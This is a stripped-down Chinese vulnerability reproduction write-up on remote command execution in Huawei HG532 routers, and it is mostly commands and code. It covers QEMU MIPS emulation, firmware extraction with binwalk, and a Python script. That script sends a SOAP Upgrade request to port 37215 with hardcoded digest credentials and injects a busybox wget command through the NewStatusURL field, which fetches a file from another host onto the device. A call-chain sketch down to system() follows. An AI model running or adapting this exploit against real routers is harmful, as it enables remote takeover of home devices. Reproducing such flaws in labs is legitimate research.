物联网漏洞复现：HUAWEI HG532系列路由器远程命令执行 – 作者:华云安huaun

sudo apt-get install qemu 
sudo apt-get install qemu-user-static
sudo apt-get install qemu-system

apt-get install bridge-utils uml-utilities

auto lo
iface lo inet loopback

auto br0
iface br0 inet dhcp
bridge_ports enp0s5
bridge_maxwait 0

sudo /sbin/ifconfig $1 0.0.0.0 promisc up
sudo /sbin/brctl addif br0 $1

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:16:3e:00:00:01 -net tap

binwalk -Me hg532e.bin

scp -r sqashfs-root [email protected]:~/sqashfs-root

chroot . /bin/sh

/bin/upnp
/bin/mic

nc -lvp 80

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''
<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
	<s:Body>
		<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
		  <NewStatusURL>;/bin/busybox wget -g {ip_ubuntu} -l /tmp/1 -r /1;</NewStatusURL>
			<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
	  </u:Upgrade>
	</s:Body>
</s:Envelope>
'''
requests.post('http://{ip_vm}:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

main
 |
ATP_UPNP_Init
 |
FUN_004065b4
 |
FUN_0040a9c8 ------------------------+
 |                                   |
UPnPGetActionByName             (libhttpapi.so)
 |                                   |
g_astActionArray           ATP_HTTP_ClientCheckAuthorization
 |                                   |
FUN_0040749c                HTTPAuth_BuildChallengeHeader
 |
system